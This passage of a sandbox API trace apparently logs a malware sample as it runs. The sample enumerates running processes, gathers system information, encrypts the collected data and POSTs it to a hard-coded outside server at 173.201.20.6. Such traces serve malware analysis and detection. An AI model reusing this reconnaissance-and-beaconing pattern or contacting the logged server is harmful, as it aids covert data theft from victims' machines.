th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] lstrlenA (lpString="just string") returned 11 [0137.322] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] GetLastError () returned 0x0 [0137.322] lstrcpyW (in: lpString1=0x4ec4c4, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0137.322] GetCurrentProcess () returned 0xffffffff [0137.322] GetLastError () returned 0x0 [0137.322] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24F6DP") returned 6 [0137.322] SetLastError (dwErrCode=0x0) [0137.322] GetCurrentProcessId () returned 0x79c [0137.322] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0137.323] GetLastError () returned 0x0 [0137.323] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24F6EP") returned 6 [0137.323] SetLastError (dwErrCode=0x0) [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] lstrcpyW (in: lpString1=0x4ec6ec, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] lstrlenA (lpString="just string") returned 11 [0137.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.323] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0137.323] GetLastError () returned 0x0 [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] GetCurrentProcessId () returned 0x79c [0137.323] lstrcpyW (in: lpString1=0x4ec914, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0137.323] lstrlenA (lpString="just string") returned 11 [0137.323] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.323] GetLastError () returned 0x0 [0137.323] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0137.324] GetCurrentProcessId () returned 0x79c [0137.324] GetLastError () returned 0x0 [0137.324] wsprintfA (in: param_1=0x246f443, param_2="%X%P" | out: param_1="24FBEP") returned 6 [0137.324] SetLastError (dwErrCode=0x0) [0137.324] GetCurrentProcessId () returned 0x79c [0137.324] lstrcpyW (in: lpString1=0x4ecb3c, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0137.324] GetCurrentProcessId () returned 0x79c [0137.324] GetCurrentProcessId () returned 0x79c [0137.324] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 1 [0137.324] GetCurrentProcessId () returned 0x79c [0137.324] lstrlenA (lpString="just string") returned 11 [0137.324] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.324] GetCurrentProcessId () returned 0x79c [0137.324] GetLastError () returned 0x0 [0137.324] lstrcpyW (in: lpString1=0x4ecd64, lpString2="systeminfo.exe" | out: lpString1="systeminfo.exe") returned="systeminfo.exe" [0137.324] GetCurrentProcess () returned 0xffffffff [0137.324] GetLastError () returned 0x0 [0137.324] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24FE5P") returned 6 [0137.325] SetLastError (dwErrCode=0x0) [0137.325] GetCurrentProcessId () returned 0x79c [0137.325] Process32NextW (in: hSnapshot=0x38c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="systeminfo.exe")) returned 0 [0137.325] CloseHandle (hObject=0x38c) returned 1 [0137.325] GetLastError () returned 0x12 [0137.325] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="24FE6P") returned 6 [0137.325] SetLastError (dwErrCode=0x12) [0137.325] GetCurrentProcessId () returned 0x79c [0137.325] lstrlenW (lpString="systeminfo.exe") returned 14 [0137.325] lstrlenW (lpString="reader_sl.exe") returned 13 [0137.325] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0137.325] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0137.325] lstrlenW (lpString="explorer.exe") returned 12 [0137.325] lstrlenW (lpString="dwm.exe") returned 7 [0137.325] lstrlenW (lpString="taskeng.exe") returned 11 [0137.325] lstrlenW (lpString="userinit.exe") returned 12 [0137.325] lstrlenW (lpString="taskhost.exe") returned 12 [0137.325] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.325] lstrlenW (lpString="audiodg.exe") returned 11 [0137.325] lstrlenW (lpString="svchost.exe") returned 11 [0137.325] lstrlenW (lpString="lsm.exe") returned 7 [0137.325] lstrlenW (lpString="lsass.exe") returned 9 [0137.325] lstrlenW (lpString="services.exe") returned 12 [0137.325] lstrlenW (lpString="winlogon.exe") returned 12 [0137.325] lstrlenW (lpString="wininit.exe") returned 11 [0137.325] lstrlenW (lpString="csrss.exe") returned 9 [0137.325] lstrlenW (lpString="smss.exe") returned 8 [0137.325] lstrlenW (lpString="System") returned 6 [0137.325] lstrlenW (lpString="[System Process]") returned 16 [0137.325] lstrcpyW (in: lpString1=0x4edea0, lpString2="reader_sl.exe" | out: lpString1="reader_sl.exe") returned="reader_sl.exe" [0137.326] lstrlenW (lpString="reader_sl.exe") returned 13 [0137.326] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edebc, lpString2="ONENOTEM.EXE" | out: lpString1="ONENOTEM.EXE") returned="ONENOTEM.EXE" [0137.326] lstrlenW (lpString="ONENOTEM.EXE") returned 12 [0137.326] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4eded6, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0137.326] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0137.326] lstrcmpiW (lpString1="explorer.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edf00, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0137.326] lstrlenW (lpString="explorer.exe") returned 12 [0137.326] lstrcmpiW (lpString1="dwm.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edf1a, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0137.326] lstrlenW (lpString="dwm.exe") returned 7 [0137.326] lstrcmpiW (lpString1="taskeng.exe", lpString2="systeminfo.exe") returned 1 [0137.326] lstrcpyW (in: lpString1=0x4edf2a, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0137.326] lstrlenW (lpString="taskeng.exe") returned 11 [0137.326] lstrcmpiW (lpString1="userinit.exe", lpString2="systeminfo.exe") returned 1 [0137.326] lstrcpyW (in: lpString1=0x4edf42, lpString2="userinit.exe" | out: lpString1="userinit.exe") returned="userinit.exe" [0137.326] lstrlenW (lpString="userinit.exe") returned 12 [0137.326] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0137.326] lstrcpyW (in: lpString1=0x4edf5c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0137.326] lstrlenW (lpString="taskhost.exe") returned 12 [0137.326] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edf76, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0137.326] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.326] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edf8e, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0137.326] lstrlenW (lpString="audiodg.exe") returned 11 [0137.326] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edfa6, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0137.326] lstrlenW (lpString="svchost.exe") returned 11 [0137.326] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edfbe, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0137.326] lstrlenW (lpString="lsm.exe") returned 7 [0137.326] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edfce, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0137.326] lstrlenW (lpString="lsass.exe") returned 9 [0137.326] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4edfe2, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0137.326] lstrlenW (lpString="services.exe") returned 12 [0137.326] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0137.326] lstrcpyW (in: lpString1=0x4edffc, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0137.326] lstrlenW (lpString="winlogon.exe") returned 12 [0137.326] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0137.326] lstrcpyW (in: lpString1=0x4ee016, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0137.326] lstrlenW (lpString="wininit.exe") returned 11 [0137.326] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4ee02e, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0137.326] lstrlenW (lpString="csrss.exe") returned 9 [0137.326] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4ee042, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0137.326] lstrlenW (lpString="smss.exe") returned 8 [0137.326] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0137.326] lstrcpyW (in: lpString1=0x4ee054, lpString2="System" | out: lpString1="System") returned="System" [0137.327] lstrlenW (lpString="System") returned 6 [0137.327] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0137.327] lstrcpyW (in: lpString1=0x4ee062, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0137.327] lstrlenW (lpString="[System Process]") returned 16 [0137.327] GetCurrentProcessId () returned 0x79c [0137.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reader_sl.exe,ONENOTEM.EXE,OfficeClickToRun.exe,explorer.exe,dwm.exe,taskeng.exe,userinit.exe,taskhost.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=242, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 242 [0137.327] GetNativeSystemInfo (in: lpSystemInfo=0x246f924 | out: lpSystemInfo=0x246f924*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0137.327] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0137.327] GetLastError () returned 0x12 [0137.327] GetCurrentProcessId () returned 0x79c [0137.327] GetCurrentProcessId () returned 0x79c [0137.327] GetCurrentProcessId () returned 0x79c [0137.327] lstrlenA (lpString="just string") returned 11 [0137.327] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.328] CryptDuplicateHash (in: hHash=0x4e6e68, pdwReserved=0x0, dwFlags=0x0, phHash=0x246f868 | out: phHash=0x246f868) returned 1 [0137.328] CryptEncrypt (in: hKey=0x4e6b98, hHash=0x4f3838, Final=1, dwFlags=0x0, pbData=0x520764*, pdwDataLen=0x246f85c*=0xd4, dwBufLen=0xe0 | out: pbData=0x520764*, pdwDataLen=0x246f85c*=0xe0) returned 1 [0137.328] GetCurrentProcessId () returned 0x79c [0137.328] CryptExportKey (in: hKey=0x4e6b98, hExpKey=0x4e6a40, dwBlobType=0x1, dwFlags=0x40, pbData=0x246f7ec, pdwDataLen=0x246f858 | out: pbData=0x246f7ec*, pdwDataLen=0x246f858*=0x6c) returned 1 [0137.328] GetCurrentProcessId () returned 0x79c [0137.328] CryptGetHashParam (in: hHash=0x4f3838, dwParam=0x2, pbData=0x520750, pdwDataLen=0x246f858, dwFlags=0x0 | out: pbData=0x520750, pdwDataLen=0x246f858) returned 1 [0137.328] CryptDestroyHash (hHash=0x4f3838) returned 1 [0137.328] GetCurrentProcessId () returned 0x79c [0137.328] lstrlenA (lpString="just string") returned 11 [0137.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.328] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x246f660, cbSize=0x246f860 | out: pszUAOut="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", cbSize=0x246f860) returned 0x0 [0137.328] GetLastError () returned 0x0 [0137.328] wsprintfA (in: param_1=0x246f5cb, param_2="%X%P" | out: param_1="274E4P") returned 6 [0137.328] SetLastError (dwErrCode=0x0) [0137.328] GetCurrentProcessId () returned 0x79c [0137.328] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x246f660, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 179 [0137.328] InternetOpenW (lpszAgent="Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0137.328] InternetConnectW (hInternet=0xcc0004, lpszServerName="173.201.20.6", nServerPort=0x1ba8, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0137.328] lstrlenA (lpString="just string") returned 11 [0137.328] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0137.328] GetLastError () returned 0x0 [0137.328] GetLastError () returned 0x0 [0137.328] wsprintfA (in: param_1=0x246f7bb, param_2="%X%P" | out: param_1="27520P") returned 6 [0137.328] SetLastError (dwErrCode=0x0) [0137.328] GetCurrentProcessId () returned 0x79c [0137.328] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName=0x0, lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x844cc300, dwContext=0x0) returned 0xcc000c [0137.330] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0xffffffff, lpOptional=0x5206f0*, dwOptionalLength=0x154 | out: lpOptional=0x5206f0*) returned 1 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.065] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.066] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.067] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.068] GetLastError () returned 0x0 [0138.070] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x246f918, lpdwBufferLength=0x246f870, lpdwIndex=0x0 | out: lpBuffer=0x246f918*, lpdwBufferLength=0x246f870*=0x4, lpdwIndex=0x0) returned 1 [0138.070] lstrlenA (lpString="just string") returned 11 [0138.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.070] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] GetLastError () returned 0x0 [0138.071] 